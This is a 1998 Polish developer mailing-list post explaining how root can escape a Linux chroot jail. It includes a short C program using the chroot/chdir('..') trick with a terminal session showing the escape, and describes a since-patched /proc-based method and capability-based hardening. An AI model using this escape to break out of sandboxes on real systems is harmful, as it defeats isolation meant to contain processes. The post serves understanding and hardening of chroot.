chroot

Krzysztof G. Baranowski kgb w manjak.knm.org.pl
Śro, 25 Lis 1998, 22:17:49 CET


On Wed, 25 Nov 1998, Robert Richard George 'reptile' Wal wrote:
> > Raczej nie, ale to jeszcze nie koniec. Sposobow ucieczki z chroot jest
> > wiele, np. ptrace(), iopl(), przez /proc, albo wykorzystujac fakt, ze 
> > chroot() nie wywoluje cwd().
> OK. ptrace() i cwd() rozumiem, 
's/cwd/chdir/' - przeklawiaturzenie, chodzilo mi o to, ze wywolanie
chroot nie wywoluje chdir. Odpalenie w chroocie czegos takiego 

--- cut ---
#include <unistd.h>

int main(void)
{
	mkdir("foo");
	chroot("foo");
	chdir("../../../../../../");
	chroot(".");
	execl("/bin/sh", "sh");
	return 0;
}
--- cut ---

dziala tak:

manjak login: guest
Password:
Last login: Wed Nov 25 21:32:34 on tty3
bash# cd /
bash# ls
bin   etc   foo   lib   proc
bash# a.out
bash# ls
bin         etc         lib         proc        securefs    var
boot        fridge      lost+found  root        tmp
dev         home        mnt         sbin        usr
bash# cd /
bash# ls
bin         etc         lib         proc        securefs    var
boot        fridge      lost+found  root        tmp
dev         home        mnt         sbin        usr

I jestesmy poza chrootem.

> a jak działa to z /proc i jak chcesz go wykorzystać jak go nie ma?
Przeciez root moze sobie w kazdej chwili podmontowac. Acha, teraz ten
ficzer juz nie dziala. (ktos to w miedzyczasie poprawil). Ficzer
polega na tym, ze mozna wykonywac chdir() wykorzystujac
/proc/<pid>/{cwd,root} procesu nie bedacego w chroocie. Zobacza jak to
teraz wyglada (po poprawieniu)

[kawalek z pstree, 4486 - bash w chroocie, 3264 - login poza chrootem]

  |-login(3264)---bash(3265)---pstree(4547)
  |-login(4484)---chroot(4485)---bash(4486)

bash# cd /
bash# ls
bin   etc   foo   lib	proc
bash# mount -t proc none w
bash# cd 4486
bash# ls -l -F cwd root
lrwx------   1 0        0               0 Nov 25 20:46 cwd -> /w/4486/
lrwx------   1 0        0               0 Nov 25 20:46 root -> //

/* powyzsze wyglada i dziala normalnie */

bash# cd root
bash# ls
bin   etc   foo   lib   proc  w

/* a to ponizej juz nie, ale kiedys dzialalo */

bash# cd w/3264
bash# ls -l -F cwd root
ls: cwd: Permission denied
ls: root: Permission denied
lrwx------   1 0        0               0 Nov 25 20:49 cwd
lrwx------   1 0        0               0 Nov 25 20:49 root

/* teraz juz nie dziala, ale kiedys mozna byl wykonac chdir()
   i voila, bylismy poza chrootem */

> W skrócie znaczy to tyle, że teoretycznie można napisać program, który jest
> driverem do kontrolera IDE w userspace i jednocześnie ma zaimplementowaną
> obsługę ext2fs i uzywać go sobie do woli w chroocie?
Nope... jest jeden problem - przerwania.

> Ale idźmy dalej... Jak jest zrealizowane programowanie MMU? 
AFAIR, to z userspace nie da sie.

Generalnie po  wywolaniu iopl(3) (nie manual tylko iopl z argumentem
3) mozesz sobie wolac w programach userspace cli(), sti() i wszystkie
funkcje dot. I/O czyli:  echo {in,out}{b,l,w}{_p,}\(\)   :-)
 
> Cholera... Zaczyna mi się marzyć taki system, w którym root nie może zrobić
> absolutnie wszystkiego. Na przykład jakiś proces ma sobie (będąc rootem,
> czy luserem) prawa do otwierania niskich portów, dostępu do hardware. A
> demon chodzący w chroocie traci prawo do create_module(), ptrace(), mount()
> itp.
[ciach...]
Jak capabilities beda mial wsparcie od strony filesystemu to bedzie to
mozliwe. Zamiast 'chmod +s binarium' wywolasz sobie np. 
'setcap +CAP_SYS_RAWIO binarka'. Na razie poczytaj sobie:

vi /usr/include/linux/capability.h 
	(jadro 2.1.x, fragment zaczynajacy sie komentarzem  
         ** POSIX-draft defined capabilities.)

ftp://ftp.guardian.no/pub/free/linux/capabilities/capfaq.txt

i zapoznaj sie w programem o nazwie 'sucap'. Zreszta pakiety libpcap
jest juz w PLD-devel, sam robilem rpma do niego. Nie wiem tylko czy
Wojtek pozniej zupgradowal i jest to jest wersja z sucapem czy bez.

Ufff, ale sie rozpisalem.  :-)

Pozdrowka,
Kris
-- 
Krzysztof G. Baranowski - Prezes Klubu Nieszkodliwych Manjaków
"Smith & Wesson - The original point and click interface..."
http://www.knm.org.pl/              <prezes w manjak.knm.org.pl>



Więcej informacji o liście dyskusyjnej pld-devel-pl